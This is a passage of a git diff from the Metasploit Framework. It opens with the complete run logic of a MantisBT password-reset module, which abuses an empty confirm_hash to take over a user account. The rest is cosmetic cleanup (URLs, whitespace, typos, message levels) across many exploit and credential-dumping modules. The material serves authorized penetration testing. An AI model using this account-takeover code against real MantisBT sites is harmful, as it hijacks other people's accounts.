+      'DisclosureDate' => "Apr 16 2017"))
+
+      register_options(
+        [
+          OptString.new('USERID', [ true, 'User id to reset', 1]),
+          OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),
+          OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
+        ]
+      )
+  end
+
+  def check
+    begin
+      res = send_request_cgi({
+        'uri' => normalize_uri(target_uri.path, '/login_page.php'),
+        'method'=>'GET'
+      })
+
+      if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')
+        vprint_status("MantisBT detected")
+        return Exploit::CheckCode::Detected
+      else
+        vprint_status("Not a MantisBT Instance!")
+        return Exploit::CheckCode::Safe
+      end
+
+    rescue Rex::ConnectionRefused
+      print_error("Connection refused by server.")
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+  def run
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, '/verify.php'),
+      'method' => 'GET',
+      'vars_get' => {
+        'id' => datastore['USERID'],
+        'confirm_hash' => ''
+      }
+    })
+
+    if !res || !res.body
+      fail_with(Failure::UnexpectedReply, "Error in server response. Ensure the server IP is correct.")
+    end
+
+    cookie = res.get_cookies
+
+    if cookie == '' || !(res.body.include? 'Your account information has been verified.')
+      fail_with(Failure::NoAccess, "Authentication failed")
+    end
+
+
+    if datastore['PASSWORD'].blank?
+      password = Rex::Text.rand_text_alpha(8)
+    else
+      password = datastore['PASSWORD']
+    end
+
+    if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/
+      token = $1
+    else
+      fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')
+    end
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, '/account_update.php'),
+      'method' => 'POST',
+      'vars_post' => {
+          'verify_user_id' => datastore['USERID'],
+          'account_update_token' => $1,
+          'realname' => Rex::Text.rand_text_alpha(rand(5) + 8),
+          'password' => password,
+          'password_confirm' => password
+        },
+      'cookie' => cookie
+    })
+
+    if res && res.body && res.body.include?('Password successfully updated')
+      print_good("Password successfully changed to '#{password}'.")
+    else
+      fail_with(Failure::UnexpectedReply, 'Something went wrong, the password was not changed.')
+    end
+  end
+end
diff --git a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb
index 016c8945c1..6af404812b 100644
--- a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb
+++ b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -51,7 +50,7 @@ class MetasploitModule < Msf::Auxiliary
   def run
     print_status("Trying to login")
     if login
-      print_good("Login successful")
+      print_good("Login Successful")
     else
       print_error("Login failed, review USERNAME and PASSWORD options")
       return
@@ -170,5 +169,4 @@ class MetasploitModule < Msf::Auxiliary
 
     return false
   end
-
 end
diff --git a/modules/auxiliary/admin/http/netflow_file_download.rb b/modules/auxiliary/admin/http/netflow_file_download.rb
index 3513bcaf30..f39219c49a 100644
--- a/modules/auxiliary/admin/http/netflow_file_download.rb
+++ b/modules/auxiliary/admin/http/netflow_file_download.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/admin/http/netgear_auth_download.rb b/modules/auxiliary/admin/http/netgear_auth_download.rb
index 6194d3bf33..304904203f 100644
--- a/modules/auxiliary/admin/http/netgear_auth_download.rb
+++ b/modules/auxiliary/admin/http/netgear_auth_download.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
@@ -14,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description' => %q{
         Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
         The application has a file download vulnerability that can be exploited by an
-        authenticated remote attacker to download any file in the system..
+        authenticated remote attacker to download any file in the system.
         This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
       },
       'Author' =>
diff --git a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb
index d1b384da67..2700cbb305 100644
--- a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb
+++ b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb b/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb
index 1ea93dfcde..5fe91006db 100644
--- a/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb
+++ b/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'time'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::CRand
 
@@ -17,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary
         The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
         This vulnerability can be exploited by an unauthenticated attacker who is able to guess
         the value of a certain timestamp which is in the configuration of the router.
-        Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
+        Brute forcing the timestamp token might take a few minutes, a few hours, or days, but
         it is guaranteed that it can be bruteforced.
         This module works very reliably and it has been tested with the WNR2000v5, firmware versions
         1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
@@ -209,7 +208,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     # no result? let's just go on and bruteforce the timestamp
-    print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
+    print_error("#{peer} - Well that didn't work... let's do it the hard way.")
 
     # get the current date from the router and parse it
     end_time = get_current_time
@@ -250,7 +249,7 @@ class MetasploitModule < Msf::Auxiliary
       start_time -= datastore['TIME_OFFSET']
       if start_time < 0
         if end_time <= datastore['TIME_OFFSET']
-          fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
+          fail_with(Failure::Unknown, "#{peer} - Exploit failed")
         end
         start_time = 0
       end
diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb
index 15f7ab5661..f8f388ef84 100644
--- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb
+++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'nexpose'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -62,7 +61,6 @@ class MetasploitModule < Msf::Auxiliary
     }.merge(service_data)
 
     login_data = {
-      last_attempted_at: DateTime.now,
       core: create_credential(credential_data),
       status: Metasploit::Model::Login::Status::UNTRIED
     }.merge(service_data)
@@ -153,5 +151,4 @@ class MetasploitModule < Msf::Auxiliary
     path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
     print_good("File saved to path: " << path)
   end
-
 end
diff --git a/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb b/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb
index 7759927bb4..5536afe250 100644
--- a/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb
+++ b/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -60,5 +59,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("File not deleted")
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb b/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb
index 66e6fb2d6b..7cb6867538 100644
--- a/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb
+++ b/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/admin/http/openbravo_xxe.rb b/modules/auxiliary/admin/http/openbravo_xxe.rb
index cf1bbf80b7..5f5684c270 100644
--- a/modules/auxiliary/admin/http/openbravo_xxe.rb
+++ b/modules/auxiliary/admin/http/openbravo_xxe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'net/dns'
 require 'rexml/document'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -19,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
         local files. This allows the user to read any files from the FS as the
         user Openbravo is running as (generally not root).
 
-        This module was tested againt Openbravo ERP version 3.0MP25 and 2.50MP6.
+        This module was tested against Openbravo ERP version 3.0MP25 and 2.50MP6.
       },
       'Author' =>
         [
diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb
index 5773a801d5..f687d4b150 100644
--- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb
+++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/element'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/http/scadabr_credential_dump.rb b/modules/auxiliary/admin/http/scadabr_credential_dump.rb
index 95b1c722bd..b683343e9d 100644
--- a/modules/auxiliary/admin/http/scadabr_credential_dump.rb
+++ b/modules/auxiliary/admin/http/scadabr_credential_dump.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -95,7 +95,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     unless res.body =~ /dwr.engine._remoteHandleCallback/
-      fail_with Failure::UnexpectedReply, "#{peer} Export failed."
+      fail_with Failure::UnexpectedReply, "#{peer} Export failed"
     end
 
     config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first
diff --git a/modules/auxiliary/admin/http/scrutinizer_add_user.rb b/modules/auxiliary/admin/http/scrutinizer_add_user.rb
index cec3459b82..080479f172 100644
--- a/modules/auxiliary/admin/http/scrutinizer_add_user.rb
+++ b/modules/auxiliary/admin/http/scrutinizer_add_user.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
@@ -82,5 +81,4 @@ class MetasploitModule < Msf::Auxiliary
       print_line(res.body)
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/http/sophos_wpa_traversal.rb b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb
index 176a8f2b30..d3aeebe169 100644
--- a/modules/auxiliary/admin/http/sophos_wpa_traversal.rb
+++ b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'uri'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -118,5 +118,4 @@ class MetasploitModule < Msf::Auxiliary
     print_good("File saved in: #{path}")
 
   end
-
 end
diff --git a/modules/auxiliary/admin/http/sysaid_admin_acct.rb b/modules/auxiliary/admin/http/sysaid_admin_acct.rb
index beb34a886f..3a92ec2a19 100644
--- a/modules/auxiliary/admin/http/sysaid_admin_acct.rb
+++ b/modules/auxiliary/admin/http/sysaid_admin_acct.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/admin/http/sysaid_file_download.rb b/modules/auxiliary/admin/http/sysaid_file_download.rb
index 6d797086de..7bffaf6d86 100644
--- a/modules/auxiliary/admin/http/sysaid_file_download.rb
+++ b/modules/auxiliary/admin/http/sysaid_file_download.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/admin/http/sysaid_sql_creds.rb b/modules/auxiliary/admin/http/sysaid_sql_creds.rb
index 25ff0e7196..ee9ecc92be 100644
--- a/modules/auxiliary/admin/http/sysaid_sql_creds.rb
+++ b/modules/auxiliary/admin/http/sysaid_sql_creds.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'openssl'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
@@ -118,7 +117,7 @@ class MetasploitModule < Msf::Auxiliary
           fail_with(Failure::Unknown, 'Could not resolve database server hostname.')
         end
 
-        print_status("Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}")
+        print_good("Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}")
         return
       end
     else
diff --git a/modules/auxiliary/admin/http/telpho10_credential_dump.rb b/modules/auxiliary/admin/http/telpho10_credential_dump.rb
index a9c07bc8cd..0ca01b062f 100644
--- a/modules/auxiliary/admin/http/telpho10_credential_dump.rb
+++ b/modules/auxiliary/admin/http/telpho10_credential_dump.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/admin/http/tomcat_administration.rb b/modules/auxiliary/admin/http/tomcat_administration.rb
index c65dd34340..29d6e129ba 100644
--- a/modules/auxiliary/admin/http/tomcat_administration.rb
+++ b/modules/auxiliary/admin/http/tomcat_administration.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanServer
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb b/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb
index cd02c2cfad..98f66d9436 100644
--- a/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb
+++ b/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanServer
   include Msf::Auxiliary::Scanner
@@ -13,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
     super(
       'Name'           => 'Tomcat UTF-8 Directory Traversal Vulnerability',
       'Description'    => %q{
-        This module tests whether a directory traversal vulnerablity is present
+        This module tests whether a directory traversal vulnerability is present
         in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0
         - 6.0.16 under specific and non-default installations. The connector must have
         allowLinking set to true and URIEncoding set to UTF-8. Furthermore, the
diff --git a/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb b/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb
index 5cb571aa41..3fc6403248 100644
--- a/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb
+++ b/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb
index da8ecbf854..55ea2964f0 100644
--- a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb
+++ b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -147,5 +146,4 @@ class MetasploitModule < Msf::Auxiliary
     print_error("#{rhost}:#{rport} [Typo3-SA-2009-001] Failed to retrieve file #{datastore['RFILE']}")
 
   end
-
 end
diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_002.rb b/modules/auxiliary/admin/http/typo3_sa_2009_002.rb
index d75380f344..d254e799a9 100644
--- a/modules/auxiliary/admin/http/typo3_sa_2009_002.rb
+++ b/modules/auxiliary/admin/http/typo3_sa_2009_002.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb
index 048cebe1e5..f5ebc22dd1 100644
--- a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb
+++ b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'thread'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -138,5 +137,4 @@ class MetasploitModule < Msf::Auxiliary
   print_error("#{rhost}:#{rport} [Typo3-SA-2010-020] Failed to retrieve file #{datastore['RFILE']}")
 
   end
-
 end
diff --git a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb
index c8d81b0e8e..efe7d4fcf9 100644
--- a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb
+++ b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -198,5 +197,4 @@ class MetasploitModule < Msf::Auxiliary
   print_error("Maybe try checking the ACTIONS - Currently using  #{action.name}")
 
   end
-
 end
diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb
index e6144040d5..7d65ea940a 100644
--- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb
+++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/admin/http/webnms_cred_disclosure.rb b/modules/auxiliary/admin/http/webnms_cred_disclosure.rb
index 5f35d6945a..aac40a960f 100644
--- a/modules/auxiliary/admin/http/webnms_cred_disclosure.rb
+++ b/modules/auxiliary/admin/http/webnms_cred_disclosure.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,9 +14,9 @@ class MetasploitModule < Msf::Auxiliary
         'Name' => 'WebNMS Framework Server Credential Disclosure',
         'Description' => %q(
 This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract
-all user credentials. The first vulnerability is a unauthenticated file download
+all user credentials. The first vulnerability is an unauthenticated file download
 in the FetchFile servlet, which is used to download the file containing the user
-credentials. The second vulnerability is that the the passwords in the file are
+credentials. The second vulnerability is that the passwords in the file are
 obfuscated with a very weak algorithm which can be easily reversed.
 This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
 Windows and Linux.
diff --git a/modules/auxiliary/admin/http/webnms_file_download.rb b/modules/auxiliary/admin/http/webnms_file_download.rb
index e64d244069..7d96aaaaa8 100644
--- a/modules/auxiliary/admin/http/webnms_file_download.rb
+++ b/modules/auxiliary/admin/http/webnms_file_download.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb
index 2010b6ea70..876c40c3d4 100644
--- a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb
+++ b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -97,12 +97,11 @@ class MetasploitModule < Msf::Auxiliary
 
     # login successful
     if cookie
-      print_status("User #{username} with password #{password} successfully created")
+      print_good("User #{username} with password #{password} successfully created")
       store_valid_credential(user: username, private: password, proof: cookie)
     else
       print_error("User creation failed")
       return
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb
index d64a528bdf..f5086898fe 100644
--- a/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb
+++ b/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'            => 'WordPress WP EasyCart Plugin Privilege Escalation',
       'Description'     => %q{
         The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 allows authenticated
-        users  of any user level to set any system option via a lack of validation in the
+        users of any user level to set any system option via a lack of validation in the
         ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in
         /inc/admin/admin_ajax_functions.php. The module first changes the admin e-mail address
         to prevent any notifications being sent to the actual administrator during the attack,
diff --git a/modules/auxiliary/admin/http/wp_symposium_sql_injection.rb b/modules/auxiliary/admin/http/wp_symposium_sql_injection.rb
index 5b1833374a..21c058770d 100644
--- a/modules/auxiliary/admin/http/wp_symposium_sql_injection.rb
+++ b/modules/auxiliary/admin/http/wp_symposium_sql_injection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -142,7 +142,7 @@ class MetasploitModule < Msf::Auxiliary
 
     unless credentials.empty?
       loot = store_loot("wp_symposium.http","text/plain", rhost, credentials)
-      vprint_status("Credentials saved in: #{loot}")
+      vprint_good("Credentials saved in: #{loot}")
     end
   end
 end
diff --git a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb
index e9e6412981..fa284e6a8b 100644
--- a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb
+++ b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb
index 1cd770ce70..b210c950da 100644
--- a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb
+++ b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb
index 8f49a63c88..191faf3878 100644
--- a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb
+++ b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::Kerberos::Client
 
diff --git a/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb b/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb
index 9b7169f8f1..36fd7f482b 100644
--- a/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb
+++ b/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
 
   def initialize(info = {})
@@ -73,5 +71,4 @@ class MetasploitModule < Msf::Auxiliary
     disconnect
 
   end
-
 end
diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb
index 36e668af8f..40d77ffced 100644
--- a/modules/auxiliary/admin/misc/sercomm_dump_config.rb
+++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Auxiliary
-
